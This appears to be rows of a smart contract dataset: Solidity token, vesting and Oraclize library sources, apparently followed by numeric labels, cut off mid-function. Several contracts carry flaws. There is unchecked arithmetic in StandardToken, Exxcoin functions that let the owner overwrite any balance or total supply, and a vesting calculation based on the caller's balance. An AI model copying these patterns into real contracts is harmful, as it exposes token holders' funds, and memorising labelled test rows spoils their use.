safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract TokenVesting is Ownable { using SafeMath for uint256; using SafeERC20 for ERC20Basic; event Released(address beneficiary, uint256 amount); ERC20Basic public token; uint256 public cliff; uint256 public start; uint256 public duration; mapping (address => uint256) public shares; uint256 released = 0; address[] public beneficiaries; modifier onlyBeneficiaries { require( isOwner() || shares[msg.sender] > 0, "You cannot release tokens!"); _; } constructor( ERC20Basic _token, uint256 _start, uint256 _cliff, uint256 _duration ) public { require(_cliff <= _duration, "Cliff has to be lower or equal to duration"); token = _token; duration = _duration; cliff = _start.add(_cliff); start = _start; } function addBeneficiary(address _beneficiary, uint256 _sharesAmount) onlyOwner public { require(_beneficiary != address(0), "The beneficiary's address cannot be 0"); require(_sharesAmount > 0, "Shares amount has to be greater than 0"); releaseAllTokens(); if (shares[_beneficiary] == 0) { beneficiaries.push(_beneficiary); } shares[_beneficiary] = shares[_beneficiary].add(_sharesAmount); } function releaseAllTokens() onlyBeneficiaries public { uint256 unreleased = releasableAmount(); if (unreleased > 0) { uint beneficiariesCount = beneficiaries.length; released = released.add(unreleased); for (uint i = 0; i < beneficiariesCount; i++) { release(beneficiaries[i], calculateShares(unreleased, beneficiaries[i])); } } } function releasableAmount() public view returns (uint256) { return vestedAmount().sub(released); } function calculateShares(uint256 _amount, address _beneficiary) public view returns (uint256) { return _amount.mul(shares[_beneficiary]).div(totalShares()); } function totalShares() public view returns (uint256) { uint sum = 0; uint beneficiariesCount = beneficiaries.length; for (uint i = 0; i < beneficiariesCount; i++) { sum = sum.add(shares[beneficiaries[i]]); } return sum; } function vestedAmount() public view returns (uint256) { uint256 currentBalance = token.balanceOf(msg.sender); uint256 totalBalance = currentBalance.add(released); if (block.timestamp < cliff) { return 0; } else if (block.timestamp >= start.add(duration)) { return totalBalance; } else { return totalBalance.mul(block.timestamp.sub(start)).div(duration); } } function release(address _beneficiary, uint256 _amount) private { token.safeTransfer(_beneficiary, _amount); emit Released(_beneficiary, _amount); } } contract Token { uint256 public totalSupply; function balanceOf(address _owner) public view returns (uint256 balance); function transfer(address _to, uint256 _value) public returns (bool success); function transferFrom(address _from, address _to, uint256 _value)public returns (bool success); function approve(address _spender, uint256 _value) public returns (bool success); function allowance(address _owner, address _spender) public view returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract StandardToken is Token { function transfer(address _to, uint256 _value) public returns (bool success) { require(balances[msg.sender] >= _value); balances[msg.sender] -= _value; balances[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; emit Transfer(_from, _to, _value); return true; } function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256 remaining) { return allowed[_owner][_spender]; } mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; } contract SOXToken is StandardToken { string public name; uint8 public decimals; string public symbol; string public version = 'v0.1'; constructor (uint256 _initialAmount, string memory _tokenName, uint8 _decimalUnits, string memory _tokenSymbol) public { balances[msg.sender] = _initialAmount; totalSupply = _initialAmount; name = _tokenName; decimals = _decimalUnits; symbol = _tokenSymbol; } function approveAndCall(address _spender, uint256 _value, bytes memory _extraData) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } }
0
1,556
pragma solidity ^0.4.18; pragma solidity ^0.4.18; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes data) public; } contract Owned { address public owner; address public newOwner; event OwnershipTransferred(address indexed _from, address indexed _to); function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { newOwner = _newOwner; } function acceptOwnership() public { require(msg.sender == newOwner); OwnershipTransferred(owner, newOwner); owner = newOwner; newOwner = address(0); } } contract FixedSupplyToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function FixedSupplyToken() public { symbol = "FIXED"; name = "Example Fixed Supply Token"; decimals = 18; _totalSupply = 1000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } function () public payable { revert(); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } } contract ERC20 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function allowance(address owner, address spender) constant returns (uint); function transferFrom(address from, address to, uint value); function approve(address spender, uint value); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract ExxStandart is ERC20 { using SafeMath for uint; string public name = "Exxcoin"; string public symbol = "EXX"; uint8 public decimals = 0; mapping (address => mapping (address => uint)) allowed; mapping (address => uint) balances; function transferFrom(address _from, address _to, uint _value) { balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _owner, address _spender) constant returns (uint remaining) { return allowed[_owner][_spender]; } function transfer(address _to, uint _value) { balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract owned { address public owner; address public newOwner; function owned() public payable { owner = msg.sender; } modifier onlyOwner { require(owner == msg.sender); _; } function changeOwner(address _owner) onlyOwner public { require(_owner != 0); newOwner = _owner; } function confirmOwner() public { require(newOwner == msg.sender); owner = newOwner; delete newOwner; } } contract Exxcoin is owned, ExxStandart { address public manager = 0x0; modifier onlyManager { require(manager == msg.sender); _; } function changeTotalSupply(uint _totalSupply) onlyOwner public { totalSupply = _totalSupply; } function setManager(address _manager) onlyOwner public { manager = _manager; } function delManager() onlyOwner public { manager = 0x123; } function () payable { } function sendTokensManager(address _to, uint _tokens) onlyManager public{ require(manager != 0x0); _to.send(_tokens); balances[_to] = _tokens; Transfer(msg.sender, _to, _tokens); } function sendTokens(address _to, uint _tokens) onlyOwner public{ _to.send(_tokens); balances[_to] = _tokens; Transfer(msg.sender, _to, _tokens); } }
0
1,003
pragma solidity 0.5.6; pragma experimental ABIEncoderV2; contract Ownable { address public owner; constructor() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner, ""); _; } function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), ""); owner = newOwner; } } contract iGames { function processRound(uint round, uint randomNumber) public payable returns (bool); function getPeriod() public view returns (uint); } contract iRandao { function newCampaign( uint32 _bnum, uint96 _deposit, uint16 _commitBalkline, uint16 _commitDeadline ) public payable returns (uint256 _campaignID); } contract solcChecker { function f(bytes calldata x) external; } contract OraclizeI { address public cbAddress; function setProofType(byte _proofType) external; function setCustomGasPrice(uint _gasPrice) external; function getPrice(string memory _datasource) public returns (uint _dsprice); function randomDS_getSessionPubKeyHash() external view returns (bytes32 _sessionKeyHash); function getPrice(string memory _datasource, uint _gasLimit) public returns (uint _dsprice); function queryN(uint _timestamp, string memory _datasource, bytes memory _argN) public payable returns (bytes32 _id); function query(uint _timestamp, string calldata _datasource, string calldata _arg) external payable returns (bytes32 _id); function query2(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) public payable returns (bytes32 _id); function query_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg, uint _gasLimit) external payable returns (bytes32 _id); function queryN_withGasLimit(uint _timestamp, string calldata _datasource, bytes calldata _argN, uint _gasLimit) external payable returns (bytes32 _id); function query2_withGasLimit(uint _timestamp, string calldata _datasource, string calldata _arg1, string calldata _arg2, uint _gasLimit) external payable returns (bytes32 _id); } contract OraclizeAddrResolverI { function getAddress() public returns (address _address); } library Buffer { struct buffer { bytes buf; uint capacity; } function init(buffer memory _buf, uint _capacity) internal pure { uint capacity = _capacity; if (capacity % 32 != 0) { capacity += 32 - (capacity % 32); } _buf.capacity = capacity; assembly { let ptr := mload(0x40) mstore(_buf, ptr) mstore(ptr, 0) mstore(0x40, add(ptr, capacity)) } } function resize(buffer memory _buf, uint _capacity) private pure { bytes memory oldbuf = _buf.buf; init(_buf, _capacity); append(_buf, oldbuf); } function max(uint _a, uint _b) private pure returns (uint _max) { if (_a > _b) { return _a; } return _b; } function append(buffer memory _buf, bytes memory _data) internal pure returns (buffer memory _buffer) { if (_data.length + _buf.buf.length > _buf.capacity) { resize(_buf, max(_buf.capacity, _data.length) * 2); } uint dest; uint src; uint len = _data.length; assembly { let bufptr := mload(_buf) let buflen := mload(bufptr) dest := add(add(bufptr, buflen), 32) mstore(bufptr, add(buflen, mload(_data))) src := add(_data, 32) } for(; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } uint mask = 256 ** (32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } return _buf; } function append(buffer memory _buf, uint8 _data) internal pure { if (_buf.buf.length + 1 > _buf.capacity) { resize(_buf, _buf.capacity * 2); } assembly { let bufptr := mload(_buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), 32) mstore8(dest, _data) mstore(bufptr, add(buflen, 1)) } } function appendInt(buffer memory _buf, uint _data, uint _len) internal pure returns (buffer memory _buffer) { if (_len + _buf.buf.length > _buf.capacity) { resize(_buf, max(_buf.capacity, _len) * 2); } uint mask = 256 ** _len - 1; assembly { let bufptr := mload(_buf) let buflen := mload(bufptr) let dest := add(add(bufptr, buflen), _len) mstore(dest, or(and(mload(dest), not(mask)), _data)) mstore(bufptr, add(buflen, _len)) } return _buf; } } library CBOR { using Buffer for Buffer.buffer; uint8 private constant MAJOR_TYPE_INT = 0; uint8 private constant MAJOR_TYPE_MAP = 5; uint8 private constant MAJOR_TYPE_BYTES = 2; uint8 private constant MAJOR_TYPE_ARRAY = 4; uint8 private constant MAJOR_TYPE_STRING = 3; uint8 private constant MAJOR_TYPE_NEGATIVE_INT = 1; uint8 private constant MAJOR_TYPE_CONTENT_FREE = 7; function encodeType(Buffer.buffer memory _buf, uint8 _major, uint _value) private pure { if (_value <= 23) { _buf.append(uint8((_major << 5) | _value)); } else if (_value <= 0xFF) { _buf.append(uint8((_major << 5) | 24)); _buf.appendInt(_value, 1); } else if (_value <= 0xFFFF) { _buf.append(uint8((_major << 5) | 25)); _buf.appendInt(_value, 2); } else if (_value <= 0xFFFFFFFF) { _buf.append(uint8((_major << 5) | 26)); _buf.appendInt(_value, 4); } else if (_value <= 0xFFFFFFFFFFFFFFFF) { _buf.append(uint8((_major << 5) | 27)); _buf.appendInt(_value, 8); } } function encodeIndefiniteLengthType(Buffer.buffer memory _buf, uint8 _major) private pure { _buf.append(uint8((_major << 5) | 31)); } function encodeUInt(Buffer.buffer memory _buf, uint _value) internal pure { encodeType(_buf, MAJOR_TYPE_INT, _value); } function encodeInt(Buffer.buffer memory _buf, int _value) internal pure { if (_value >= 0) { encodeType(_buf, MAJOR_TYPE_INT, uint(_value)); } else { encodeType(_buf, MAJOR_TYPE_NEGATIVE_INT, uint(-1 - _value)); } } function encodeBytes(Buffer.buffer memory _buf, bytes memory _value) internal pure { encodeType(_buf, MAJOR_TYPE_BYTES, _value.length); _buf.append(_value); } function encodeString(Buffer.buffer memory _buf, string memory _value) internal pure { encodeType(_buf, MAJOR_TYPE_STRING, bytes(_value).length); _buf.append(bytes(_value)); } function startArray(Buffer.buffer memory _buf) internal pure { encodeIndefiniteLengthType(_buf, MAJOR_TYPE_ARRAY); } function startMap(Buffer.buffer memory _buf) internal pure { encodeIndefiniteLengthType(_buf, MAJOR_TYPE_MAP); } function endSequence(Buffer.buffer memory _buf) internal pure { encodeIndefiniteLengthType(_buf, MAJOR_TYPE_CONTENT_FREE); } } contract usingOraclize { using CBOR for Buffer.buffer; OraclizeI oraclize; OraclizeAddrResolverI OAR; uint constant day = 60 * 60 * 24; uint constant week = 60 * 60 * 24 * 7; uint constant month = 60 * 60 * 24 * 30; byte constant proofType_NONE = 0x00; byte constant proofType_Ledger = 0x30; byte constant proofType_Native = 0xF0; byte constant proofStorage_IPFS = 0x01; byte constant proofType_Android = 0x40; byte constant proofType_TLSNotary = 0x10; string oraclize_network_name; uint8 constant networkID_auto = 0; uint8 constant networkID_morden = 2; uint8 constant networkID_mainnet = 1; uint8 constant networkID_testnet = 2; uint8 constant networkID_consensys = 161; mapping(bytes32 => bytes32) oraclize_randomDS_args; mapping(bytes32 => bool) oraclize_randomDS_sessionKeysHashVerified; modifier oraclizeAPI { if ((address(OAR) == address(0)) || (getCodeSize(address(OAR)) == 0)) { oraclize_setNetwork(networkID_auto); } if (address(oraclize) != OAR.getAddress()) { oraclize = OraclizeI(OAR.getAddress()); } _; } modifier oraclize_randomDS_proofVerify(bytes32 _queryId, string memory _result, bytes memory _proof) { require((_proof[0] == "L") && (_proof[1] == "P") && (uint8(_proof[2]) == uint8(1))); bool proofVerified = oraclize_randomDS_proofVerify__main(_proof, _queryId, bytes(_result), oraclize_getNetworkName()); require(proofVerified); _; } function oraclize_setNetwork(uint8 _networkID) internal returns (bool _networkSet) { return oraclize_setNetwork(); _networkID; } function oraclize_setNetworkName(string memory _network_name) internal { oraclize_network_name = _network_name; } function oraclize_getNetworkName() internal view returns (string memory _networkName) { return oraclize_network_name; } function oraclize_setNetwork() internal returns (bool _networkSet) { if (getCodeSize(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed) > 0) { OAR = OraclizeAddrResolverI(0x1d3B2638a7cC9f2CB3D298A3DA7a90B67E5506ed); oraclize_setNetworkName("eth_mainnet"); return true; } if (getCodeSize(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1) > 0) { OAR = OraclizeAddrResolverI(0xc03A2615D5efaf5F49F60B7BB6583eaec212fdf1); oraclize_setNetworkName("eth_ropsten3"); return true; } if (getCodeSize(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e) > 0) { OAR = OraclizeAddrResolverI(0xB7A07BcF2Ba2f2703b24C0691b5278999C59AC7e); oraclize_setNetworkName("eth_kovan"); return true; } if (getCodeSize(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48) > 0) { OAR = OraclizeAddrResolverI(0x146500cfd35B22E4A392Fe0aDc06De1a1368Ed48); oraclize_setNetworkName("eth_rinkeby"); return true; } if (getCodeSize(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475) > 0) { OAR = OraclizeAddrResolverI(0x6f485C8BF6fc43eA212E93BBF8ce046C7f1cb475); return true; } if (getCodeSize(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF) > 0) { OAR = OraclizeAddrResolverI(0x20e12A1F859B3FeaE5Fb2A0A32C18F5a65555bBF); return true; } if (getCodeSize(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA) > 0) { OAR = OraclizeAddrResolverI(0x51efaF4c8B3C9AfBD5aB9F4bbC82784Ab6ef8fAA); return true; } return false; } function __callback(bytes32 _myid, string memory _result) public { __callback(_myid, _result, new bytes(0)); } function __callback(bytes32 _myid, string memory _result, bytes memory _proof) public { return; _myid; _result; _proof; } function oraclize_getPrice(string memory _datasource) oraclizeAPI internal returns (uint _queryPrice) { return oraclize.getPrice(_datasource); } function oraclize_getPrice(string memory _datasource, uint _gasLimit) oraclizeAPI internal returns (uint _queryPrice) { return oraclize.getPrice(_datasource, _gasLimit); } function oraclize_query(string memory _datasource, string memory _arg) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } return oraclize.query.value(price)(0, _datasource, _arg); } function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } return oraclize.query.value(price)(_timestamp, _datasource, _arg); } function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource,_gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } return oraclize.query_withGasLimit.value(price)(_timestamp, _datasource, _arg, _gasLimit); } function oraclize_query(string memory _datasource, string memory _arg, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } return oraclize.query_withGasLimit.value(price)(0, _datasource, _arg, _gasLimit); } function oraclize_query(string memory _datasource, string memory _arg1, string memory _arg2) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } return oraclize.query2.value(price)(0, _datasource, _arg1, _arg2); } function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } return oraclize.query2.value(price)(_timestamp, _datasource, _arg1, _arg2); } function oraclize_query(uint _timestamp, string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } return oraclize.query2_withGasLimit.value(price)(_timestamp, _datasource, _arg1, _arg2, _gasLimit); } function oraclize_query(string memory _datasource, string memory _arg1, string memory _arg2, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } return oraclize.query2_withGasLimit.value(price)(0, _datasource, _arg1, _arg2, _gasLimit); } function oraclize_query(string memory _datasource, string[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } bytes memory args = stra2cbor(_argN); return oraclize.queryN.value(price)(0, _datasource, args); } function oraclize_query(uint _timestamp, string memory _datasource, string[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } bytes memory args = stra2cbor(_argN); return oraclize.queryN.value(price)(_timestamp, _datasource, args); } function oraclize_query(uint _timestamp, string memory _datasource, string[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } bytes memory args = stra2cbor(_argN); return oraclize.queryN_withGasLimit.value(price)(_timestamp, _datasource, args, _gasLimit); } function oraclize_query(string memory _datasource, string[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } bytes memory args = stra2cbor(_argN); return oraclize.queryN_withGasLimit.value(price)(0, _datasource, args, _gasLimit); } function oraclize_query(string memory _datasource, string[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](1); dynargs[0] = _args[0]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[2] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[3] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[3] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](3); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[4] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[4] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](4); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[5] memory _args) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, string[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, string[5] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { string[] memory dynargs = new string[](5); dynargs[0] = _args[0]; dynargs[1] = _args[1]; dynargs[2] = _args[2]; dynargs[3] = _args[3]; dynargs[4] = _args[4]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } bytes memory args = ba2cbor(_argN); return oraclize.queryN.value(price)(0, _datasource, args); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[] memory _argN) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource); if (price > 1 ether + tx.gasprice * 200000) { return 0; } bytes memory args = ba2cbor(_argN); return oraclize.queryN.value(price)(_timestamp, _datasource, args); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } bytes memory args = ba2cbor(_argN); return oraclize.queryN_withGasLimit.value(price)(_timestamp, _datasource, args, _gasLimit); } function oraclize_query(string memory _datasource, bytes[] memory _argN, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { uint price = oraclize.getPrice(_datasource, _gasLimit); if (price > 1 ether + tx.gasprice * _gasLimit) { return 0; } bytes memory args = ba2cbor(_argN); return oraclize.queryN_withGasLimit.value(price)(0, _datasource, args, _gasLimit); } function oraclize_query(string memory _datasource, bytes[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[1] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return oraclize_query(_timestamp, _datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return oraclize_query(_timestamp, _datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[1] memory _args, uint _gasLimit) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](1); dynargs[0] = _args[0]; return oraclize_query(_datasource, dynargs, _gasLimit); } function oraclize_query(string memory _datasource, bytes[2] memory _args) oraclizeAPI internal returns (bytes32 _id) { bytes[] memory dynargs = new bytes[](2); dynargs[0] = _args[0]; dynargs[1] = _args[1]; return oraclize_query(_datasource, dynargs); } function oraclize_query(uint _timestamp, string memory _datasource, bytes[2] memory _args) oraclizeAPI internal returns 